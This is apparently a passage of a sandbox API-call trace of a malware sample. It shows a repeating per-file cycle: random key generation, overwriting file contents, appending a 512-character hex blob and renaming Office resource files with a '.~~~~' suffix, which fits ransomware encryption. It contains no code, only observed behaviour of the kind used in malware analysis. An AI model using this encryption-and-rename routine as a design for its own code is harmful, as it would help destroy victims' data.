	[0132.106] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.106] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.106] CloseHandle (hObject=0x13c) returned 1
	[0132.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1158
	[0132.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.~~~~")) returned 1
	[0132.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1158 | out: hHeap=0x300000) returned 1
	[0132.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0132.109] GetLastError () returned 0x0
	[0132.161] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a13f0) returned 1
	[0132.219] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.219] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.219] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25220898821) returned 1
	[0132.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb84166f0, dwHighDateTime=0x1d60e1e)) 
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823b80
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823b80 | out: hHeap=0x300000) returned 1
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38efb8
	[0132.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38efb8 | out: hHeap=0x300000) returned 1
	[0132.220] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.220] GetLastError () returned 0x0
	[0132.220] GetLastError () returned 0x0
	[0132.220] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.220] GetLastError () returned 0x0
	[0132.220] GetLastError () returned 0x0
	[0132.223] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9eb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.224] WriteFile (in: hFile=0x128, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x614e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x614e, lpOverlapped=0x0) returned 1
	[0132.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.226] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.226] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.226] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.226] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.226] CloseHandle (hObject=0x128) returned 1
	[0132.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x397fc0
	[0132.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif.~~~~")) returned 1
	[0132.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x397fc0 | out: hHeap=0x300000) returned 1
	[0132.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.228] GetLastError () returned 0x0
	[0132.229] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a13f0) returned 1
	[0132.230] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.230] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.230] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25222030969) returned 1
	[0132.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb84166f0, dwHighDateTime=0x1d60e1e)) 
	[0132.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823c60
	[0132.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823c60 | out: hHeap=0x300000) returned 1
	[0132.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0132.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0132.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.231] GetLastError () returned 0x0
	[0132.231] GetLastError () returned 0x0
	[0132.231] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.231] GetLastError () returned 0x0
	[0132.231] GetLastError () returned 0x0
	[0132.233] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe6c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.233] WriteFile (in: hFile=0x128, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x193c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x193c, lpOverlapped=0x0) returned 1
	[0132.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.235] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.235] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.236] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.236] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.236] CloseHandle (hObject=0x128) returned 1
	[0132.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.236] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_TexturedBlue.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_texturedblue.gif.~~~~")) returned 1
	[0132.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.238] GetLastError () returned 0x0
	[0132.238] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a13f0) returned 1
	[0132.239] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.239] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.239] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25222941693) returned 1
	[0132.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb843c850, dwHighDateTime=0x1d60e1e)) 
	[0132.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823c98
	[0132.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823c98 | out: hHeap=0x300000) returned 1
	[0132.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0132.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0132.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.240] GetLastError () returned 0x0
	[0132.240] GetLastError () returned 0x0
	[0132.240] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.241] GetLastError () returned 0x0
	[0132.241] GetLastError () returned 0x0
	[0132.243] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc39c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.243] WriteFile (in: hFile=0x128, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x3c64, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x3c64, lpOverlapped=0x0) returned 1
	[0132.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.245] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.245] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.245] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.245] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.245] CloseHandle (hObject=0x128) returned 1
	[0132.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x397948
	[0132.245] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_VelvetRose.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_velvetrose.gif.~~~~")) returned 1
	[0132.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x397948 | out: hHeap=0x300000) returned 1
	[0132.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.246] GetLastError () returned 0x0
	[0132.247] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a13f0) returned 1
	[0132.248] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0132.248] CryptReleaseContext (hProv=0x3a13f0, dwFlags=0x0) returned 1
	[0132.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0132.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.248] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25223983433) returned 1
	[0132.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb84629b0, dwHighDateTime=0x1d60e1e)) 
	[0132.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e148
	[0132.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e148 | out: hHeap=0x300000) returned 1
	[0132.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0132.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0132.251] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.251] GetLastError () returned 0x0
	[0132.251] GetLastError () returned 0x0
	[0132.251] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.251] GetLastError () returned 0x0
	[0132.251] GetLastError () returned 0x0
	[0132.304] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff8a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.304] WriteFile (in: hFile=0x128, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x75c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x75c, lpOverlapped=0x0) returned 1
	[0132.307] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0132.307] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.307] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.308] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.308] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.308] CloseHandle (hObject=0x128) returned 1
	[0132.308] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.308] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Adobe.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\adobe.css.~~~~")) returned 1
	[0132.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.310] GetLastError () returned 0x0
	[0132.311] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.312] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.312] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0132.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0132.312] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25230445118) returned 1
	[0132.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb84faf30, dwHighDateTime=0x1d60e1e)) 
	[0132.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0132.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa740
	[0132.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa740 | out: hHeap=0x300000) returned 1
	[0132.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398be8
	[0132.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398be8 | out: hHeap=0x300000) returned 1
	[0132.315] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.316] GetLastError () returned 0x0
	[0132.316] GetLastError () returned 0x0
	[0132.316] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.316] GetLastError () returned 0x0
	[0132.316] GetLastError () returned 0x0
	[0132.317] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.318] WriteFile (in: hFile=0x128, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xde, lpOverlapped=0x0) returned 1
	[0132.320] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
